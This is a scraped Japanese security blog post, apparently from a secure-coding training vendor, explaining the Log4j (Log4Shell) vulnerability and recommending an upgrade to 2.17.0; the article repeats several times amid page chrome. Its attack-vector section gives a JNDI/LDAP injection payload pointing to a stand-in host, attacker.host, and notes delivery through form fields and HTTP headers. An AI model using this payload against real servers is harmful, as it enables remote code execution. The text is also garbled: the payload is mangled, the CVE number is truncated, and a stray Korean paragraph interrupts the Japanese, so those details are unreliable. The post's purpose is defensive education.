SCW アイコン
ヒーロー背景(区切りなし)
ブログ

Log4j脆弱性の説明 - 攻撃ベクトルと予防方法

ローラ・ベルヘイデ
2022年1月16日 発行
最終更新日: 2026年3月9日

12月9日、JavaライブラリLog4jのゼロデイエクスプロイトが公開されました。CVE-44228通称Log4jシェル、このエクスプロイトによりリモートコード実行が可能となるため「高深刻度」評価を受けています(RCE)。さらに、log4j-coreは最も広く使用されているJavaロギングライブラリの一つであるため、数百万のアプリケーションが危険に晒されています。

Log4Shellを扱うために必要な技術を素早くレベルアップしたいですか?

Log4Shellの基本概念から始め、Missionというシミュレーターでこの脆弱性の悪用を体験できるショーケースを作成しました。今回のミッションでは、Log4j脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかをご案内します。ショーケースに直接移動するにはこちらをクリックしてください。または、この脆弱性について詳しく知りたい場合は読み進めてください。

昔のニュース?

エクスプロイトは新しいものではありません。セキュリティ研究者たちは、2016年のブラックハット講演でアルヴァロ・ムニョスとオレクサンドル・ミロシュが既に強調していました「アプリケーションは信頼できないデータでJNDIルックアップを実行すべきではない」と述べ、対象となるJNDI/LDAPインジェクションがどのようにリモートコード実行につながるかを説明しました。これがまさにLog4Shellの核心です。

攻撃ベクトル

Log4Shellのインジェクションペイロードは以下の通りです。

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

次にJNDI(Java Naming and Directory Interface)があります。これは、プロトコル(LDAP、DNS、RMIなど)を使用してサービスに接続し、データやリソースを検索できるようにするAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が制御するLDAPサーバーを対象に検索を実行します。例えば、その応答は悪意のあるコードを含むJavaクラスファイルを指す可能性があり、 このファイルは脆弱なサーバー上で実行されることになります。

この脆弱性がこれほど問題視される理由は、Log4jがすべてのログエントリを評価し、「jndi」接頭辞が付いたEL構文で記述されたすべての記録されたユーザー入力を照会するためです。ペイロードは、フォームフィールドのようにユーザーがデータを入力できるあらゆる場所に挿入可能です。また、HTTPヘッダー(例:ユーザーエージェントや X-Forwarded-For、その他のヘッダー)もペイロードを送信するようにカスタマイズ可能です。

エクスプロイトを直接体験するには、ショーケースへ行き、2段階目「体験インパクト」へ進んでください。

予防:認識

Log4jの脆弱なコードはパッチが適用されているため、アップグレードはすべてのアプリケーションで推奨される措置です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月末からは2.17.0へのアップグレードが推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にリスクが伴うことを明らかにしました。私たちは、安全だと無邪気に考えている外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があるという事実を心に留めておく必要があります。

この脆弱性を防ぐことはできたでしょうか?はい、いいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合のみ、開発者ができることは多くあります。一方で、これを通じて得られた教訓は繰り返し語られてきたものです。つまり、ユーザー入力を決して信用してはならないということです。

セキュアコードウォリアーは、セキュリティを重視する開発者がコードの脆弱性発生を防止する最善の方法であると信じています。SCWはプログラミングフレームワーク別の教育を大規模に提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者が誰であるかを迅速に把握できました。また、SCW教育を受けたセキュリティ専門家の支援により、Log4jのアップグレードを加速させました。

特にJava開発者のために、Secure Code Warriorは無料のIntelliJプラグイン「Sensei」を提供しています。このルールベースのコード分析ツールは、コーディングガイドラインを適用し、脆弱性を予防・解決するために使用できます。ルールを直接作成するか、事前に用意されたルールを利用できます。レシピ集レシピを閲覧し、Log4jックブックのダウンロードもお忘れなく。Log4Shell脆弱性を瞬時に発見・解決するのに役立ちます。

Log4Shellに対する防御技術をアップグレードしてください

このブログ記事で学んだ内容を実際に適用してみたいですか?ショーケースがお役に立てるかもしれません。ショーケースを開始すると、この脆弱性を素早く確認した後、ガイドされた手順に従ってエクスプロイトを試行できるシミュレーション環境へ移行します。


リソースを見る
リソースを見る

2021年12月、JavaライブラリLog4jに深刻なセキュリティ脆弱性Log4Shellが公開されました。本ドキュメントでは、Log4Shell脆弱性を最も簡潔な形で分解し、基本事項を把握するとともに、この脆弱性に関する知識を基に、シミュレートされたウェブサイトを悪用できる練習環境を紹介します。

もっと興味がありますか?

もっと詳しく

セキュアコードウォリアーは、ソフトウェア開発ライフサイクル全体を通じてコードを保護し、サイバーセキュリティを最優先とする文化を組織に根付かせるために存在します。AppSec管理者、開発者、CISO、あるいはセキュリティに関わるあらゆる立場の方々に対し、組織が安全でないコードに関連するリスクを軽減できるよう支援します。

デモ予約
共有対象:
リンクトインのブランドソーシャルx ロゴ
作成者
ローラ・ベルヘイデ
2022年1月16日発行

Laura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。

共有対象:
リンクトインのブランドソーシャルx ロゴ

12月9日、JavaライブラリLog4jのゼロデイエクスプロイトが公開されました。CVE-44228通称Log4jシェル、このエクスプロイトによりリモートコード実行が可能となるため「高深刻度」評価を受けています(RCE)。さらに、log4j-coreは最も広く使用されているJavaロギングライブラリの一つであるため、数百万のアプリケーションが危険に晒されています。

Log4Shellを扱うために必要な技術を素早くレベルアップしたいですか?

Log4Shellの基本概念から始め、Missionというシミュレーターでこの脆弱性の悪用を体験できるショーケースを作成しました。今回のミッションでは、Log4j脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかをご案内します。ショーケースに直接移動するにはこちらをクリックしてください。または、この脆弱性について詳しく知りたい場合は読み進めてください。

昔のニュース?

エクスプロイトは新しいものではありません。セキュリティ研究者たちは、2016年のブラックハット講演でアルヴァロ・ムニョスとオレクサンドル・ミロシュが既に強調していました「アプリケーションは信頼できないデータでJNDIルックアップを実行すべきではない」と述べ、対象となるJNDI/LDAPインジェクションがどのようにリモートコード実行につながるかを説明しました。これがまさにLog4Shellの核心です。

攻撃ベクトル

Log4Shellのインジェクションペイロードは以下の通りです。

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

次にJNDI(Java Naming and Directory Interface)があります。これは、プロトコル(LDAP、DNS、RMIなど)を使用してサービスに接続し、データやリソースを検索できるようにするAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が制御するLDAPサーバーを対象に検索を実行します。例えば、その応答は悪意のあるコードを含むJavaクラスファイルを指す可能性があり、 このファイルは脆弱なサーバー上で実行されることになります。

この脆弱性がこれほど問題視される理由は、Log4jがすべてのログエントリを評価し、「jndi」接頭辞が付いたEL構文で記述されたすべての記録されたユーザー入力を照会するためです。ペイロードは、フォームフィールドのようにユーザーがデータを入力できるあらゆる場所に挿入可能です。また、HTTPヘッダー(例:ユーザーエージェントや X-Forwarded-For、その他のヘッダー)もペイロードを送信するようにカスタマイズ可能です。

エクスプロイトを直接体験するには、ショーケースへ行き、2段階目「体験インパクト」へ進んでください。

予防:認識

Log4jの脆弱なコードはパッチが適用されているため、アップグレードはすべてのアプリケーションで推奨される措置です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月末からは2.17.0へのアップグレードが推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にリスクが伴うことを明らかにしました。私たちは、安全だと無邪気に考えている外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があるという事実を心に留めておく必要があります。

この脆弱性を防ぐことはできたでしょうか?はい、いいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合のみ、開発者ができることは多くあります。一方で、これを通じて得られた教訓は繰り返し語られてきたものです。つまり、ユーザー入力を決して信用してはならないということです。

セキュアコードウォリアーは、セキュリティを重視する開発者がコードの脆弱性発生を防止する最善の方法であると信じています。SCWはプログラミングフレームワーク別の教育を大規模に提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者が誰であるかを迅速に把握できました。また、SCW教育を受けたセキュリティ専門家の支援により、Log4jのアップグレードを加速させました。

特にJava開発者のために、Secure Code Warriorは無料のIntelliJプラグイン「Sensei」を提供しています。このルールベースのコード分析ツールは、コーディングガイドラインを適用し、脆弱性を予防・解決するために使用できます。ルールを直接作成するか、事前に用意されたルールを利用できます。レシピ集レシピを閲覧し、Log4jックブックのダウンロードもお忘れなく。Log4Shell脆弱性を瞬時に発見・解決するのに役立ちます。

Log4Shellに対する防御技術をアップグレードしてください

このブログ記事で学んだ内容を実際に適用してみたいですか?ショーケースがお役に立てるかもしれません。ショーケースを開始すると、この脆弱性を素早く確認した後、ガイドされた手順に従ってエクスプロイトを試行できるシミュレーション環境へ移行します。


リソースを見る
リソースを見る

レポートをダウンロードするには、以下のフォームにご記入ください。

当社製品および/または関連するセキュリティコーディングのトピックに関する情報をお送りするため、お客様の同意を求めます。当社は常に、お客様の個人情報を最大限の注意を払って取り扱い、マーケティング目的で他社に販売することは一切ありません。

提出
SCW成功アイコン
SCWエラーアイコン
フォームを送信するには「Analytics」クッキーを有効にしてください。完了後、いつでも再度無効にできます。

12月9日、JavaライブラリLog4jのゼロデイエクスプロイトが公開されました。CVE-44228通称Log4jシェル、このエクスプロイトによりリモートコード実行が可能となるため「高深刻度」評価を受けています(RCE)。さらに、log4j-coreは最も広く使用されているJavaロギングライブラリの一つであるため、数百万のアプリケーションが危険に晒されています。

Log4Shellを扱うために必要な技術を素早くレベルアップしたいですか?

Log4Shellの基本概念から始め、Missionというシミュレーターでこの脆弱性の悪用を体験できるショーケースを作成しました。今回のミッションでは、Log4j脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかをご案内します。ショーケースに直接移動するにはこちらをクリックしてください。または、この脆弱性について詳しく知りたい場合は読み進めてください。

昔のニュース?

エクスプロイトは新しいものではありません。セキュリティ研究者たちは、2016年のブラックハット講演でアルヴァロ・ムニョスとオレクサンドル・ミロシュが既に強調していました「アプリケーションは信頼できないデータでJNDIルックアップを実行すべきではない」と述べ、対象となるJNDI/LDAPインジェクションがどのようにリモートコード実行につながるかを説明しました。これがまさにLog4Shellの核心です。

攻撃ベクトル

Log4Shellのインジェクションペイロードは以下の通りです。

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

次にJNDI(Java Naming and Directory Interface)があります。これは、プロトコル(LDAP、DNS、RMIなど)を使用してサービスに接続し、データやリソースを検索できるようにするAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が制御するLDAPサーバーを対象に検索を実行します。例えば、その応答は悪意のあるコードを含むJavaクラスファイルを指す可能性があり、 このファイルは脆弱なサーバー上で実行されることになります。

この脆弱性がこれほど問題視される理由は、Log4jがすべてのログエントリを評価し、「jndi」接頭辞が付いたEL構文で記述されたすべての記録されたユーザー入力を照会するためです。ペイロードは、フォームフィールドのようにユーザーがデータを入力できるあらゆる場所に挿入可能です。また、HTTPヘッダー(例:ユーザーエージェントや X-Forwarded-For、その他のヘッダー)もペイロードを送信するようにカスタマイズ可能です。

エクスプロイトを直接体験するには、ショーケースへ行き、2段階目「体験インパクト」へ進んでください。

予防:認識

Log4jの脆弱なコードはパッチが適用されているため、アップグレードはすべてのアプリケーションで推奨される措置です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月末からは2.17.0へのアップグレードが推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にリスクが伴うことを明らかにしました。私たちは、安全だと無邪気に考えている外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があるという事実を心に留めておく必要があります。

この脆弱性を防ぐことはできたでしょうか?はい、いいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合のみ、開発者ができることは多くあります。一方で、これを通じて得られた教訓は繰り返し語られてきたものです。つまり、ユーザー入力を決して信用してはならないということです。

セキュアコードウォリアーは、セキュリティを重視する開発者がコードの脆弱性発生を防止する最善の方法であると信じています。SCWはプログラミングフレームワーク別の教育を大規模に提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者が誰であるかを迅速に把握できました。また、SCW教育を受けたセキュリティ専門家の支援により、Log4jのアップグレードを加速させました。

特にJava開発者のために、Secure Code Warriorは無料のIntelliJプラグイン「Sensei」を提供しています。このルールベースのコード分析ツールは、コーディングガイドラインを適用し、脆弱性を予防・解決するために使用できます。ルールを直接作成するか、事前に用意されたルールを利用できます。レシピ集レシピを閲覧し、Log4jックブックのダウンロードもお忘れなく。Log4Shell脆弱性を瞬時に発見・解決するのに役立ちます。

Log4Shellに対する防御技術をアップグレードしてください

このブログ記事で学んだ内容を実際に適用してみたいですか?ショーケースがお役に立てるかもしれません。ショーケースを開始すると、この脆弱性を素早く確認した後、ガイドされた手順に従ってエクスプロイトを試行できるシミュレーション環境へ移行します。


ウェビナーを見る
はじめに
もっと詳しく

以下のリンクをクリックし、このリソースのPDFをダウンロードしてください。

セキュアコードウォリアーは、ソフトウェア開発ライフサイクル全体を通じてコードを保護し、サイバーセキュリティを最優先とする文化を組織に根付かせるために存在します。AppSec管理者、開発者、CISO、あるいはセキュリティに関わるあらゆる立場の方々に対し、組織が安全でないコードに関連するリスクを軽減できるよう支援します。

レポートを見るデモ予約
リソースを見る
共有対象:
リンクトインのブランドソーシャルx ロゴ
もっと興味がありますか?

共有対象:
リンクトインのブランドソーシャルx ロゴ
作成者
ローラ・ベルヘイデ
2022年1月16日発行

Laura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。

共有対象:
リンクトインのブランドソーシャルx ロゴ

12月9日、JavaライブラリLog4jのゼロデイエクスプロイトが公開されました。CVE-44228通称Log4jシェル、このエクスプロイトによりリモートコード実行が可能となるため「高深刻度」評価を受けています(RCE)。さらに、log4j-coreは最も広く使用されているJavaロギングライブラリの一つであるため、数百万のアプリケーションが危険に晒されています。

Log4Shellを扱うために必要な技術を素早くレベルアップしたいですか?

Log4Shellの基本概念から始め、Missionというシミュレーターでこの脆弱性の悪用を体験できるショーケースを作成しました。今回のミッションでは、Log4j脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかをご案内します。ショーケースに直接移動するにはこちらをクリックしてください。または、この脆弱性について詳しく知りたい場合は読み進めてください。

昔のニュース?

エクスプロイトは新しいものではありません。セキュリティ研究者たちは、2016年のブラックハット講演でアルヴァロ・ムニョスとオレクサンドル・ミロシュが既に強調していました「アプリケーションは信頼できないデータでJNDIルックアップを実行すべきではない」と述べ、対象となるJNDI/LDAPインジェクションがどのようにリモートコード実行につながるかを説明しました。これがまさにLog4Shellの核心です。

攻撃ベクトル

Log4Shellのインジェクションペイロードは以下の通りです。

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

次にJNDI(Java Naming and Directory Interface)があります。これは、プロトコル(LDAP、DNS、RMIなど)を使用してサービスに接続し、データやリソースを検索できるようにするAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が制御するLDAPサーバーを対象に検索を実行します。例えば、その応答は悪意のあるコードを含むJavaクラスファイルを指す可能性があり、 このファイルは脆弱なサーバー上で実行されることになります。

この脆弱性がこれほど問題視される理由は、Log4jがすべてのログエントリを評価し、「jndi」接頭辞が付いたEL構文で記述されたすべての記録されたユーザー入力を照会するためです。ペイロードは、フォームフィールドのようにユーザーがデータを入力できるあらゆる場所に挿入可能です。また、HTTPヘッダー(例:ユーザーエージェントや X-Forwarded-For、その他のヘッダー)もペイロードを送信するようにカスタマイズ可能です。

エクスプロイトを直接体験するには、ショーケースへ行き、2段階目「体験インパクト」へ進んでください。

予防:認識

Log4jの脆弱なコードはパッチが適用されているため、アップグレードはすべてのアプリケーションで推奨される措置です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月末からは2.17.0へのアップグレードが推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にリスクが伴うことを明らかにしました。私たちは、安全だと無邪気に考えている外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があるという事実を心に留めておく必要があります。

この脆弱性を防ぐことはできたでしょうか?はい、いいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合のみ、開発者ができることは多くあります。一方で、これを通じて得られた教訓は繰り返し語られてきたものです。つまり、ユーザー入力を決して信用してはならないということです。

セキュアコードウォリアーは、セキュリティを重視する開発者がコードの脆弱性発生を防止する最善の方法であると信じています。SCWはプログラミングフレームワーク別の教育を大規模に提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者が誰であるかを迅速に把握できました。また、SCW教育を受けたセキュリティ専門家の支援により、Log4jのアップグレードを加速させました。

特にJava開発者のために、Secure Code Warriorは無料のIntelliJプラグイン「Sensei」を提供しています。このルールベースのコード分析ツールは、コーディングガイドラインを適用し、脆弱性を予防・解決するために使用できます。ルールを直接作成するか、事前に用意されたルールを利用できます。レシピ集レシピを閲覧し、Log4jックブックのダウンロードもお忘れなく。Log4Shell脆弱性を瞬時に発見・解決するのに役立ちます。

Log4Shellに対する防御技術をアップグレードしてください

このブログ記事で学んだ内容を実際に適用してみたいですか?ショーケースがお役に立てるかもしれません。ショーケースを開始すると、この脆弱性を素早く確認した後、ガイドされた手順に従ってエクスプロイトを試行できるシミュレーション環境へ移行します。


目次

PDFダウンロード
リソースを見る
もっと興味がありますか?

もっと詳しく

セキュアコードウォリアーは、ソフトウェア開発ライフサイクル全体を通じてコードを保護し、サイバーセキュリティを最優先とする文化を組織に根付かせるために存在します。AppSec管理者、開発者、CISO、あるいはセキュリティに関わるあらゆる立場の方々に対し、組織が安全でないコードに関連するリスクを軽減できるよう支援します。

デモ予約ダウンロード
共有対象:
リンクトインのブランドソーシャルx ロゴ
リソースハブ

始めるのに役立つリソース

もっと多くの投稿
リソースハブ

始めるのに役立つリソース

もっと多くの投稿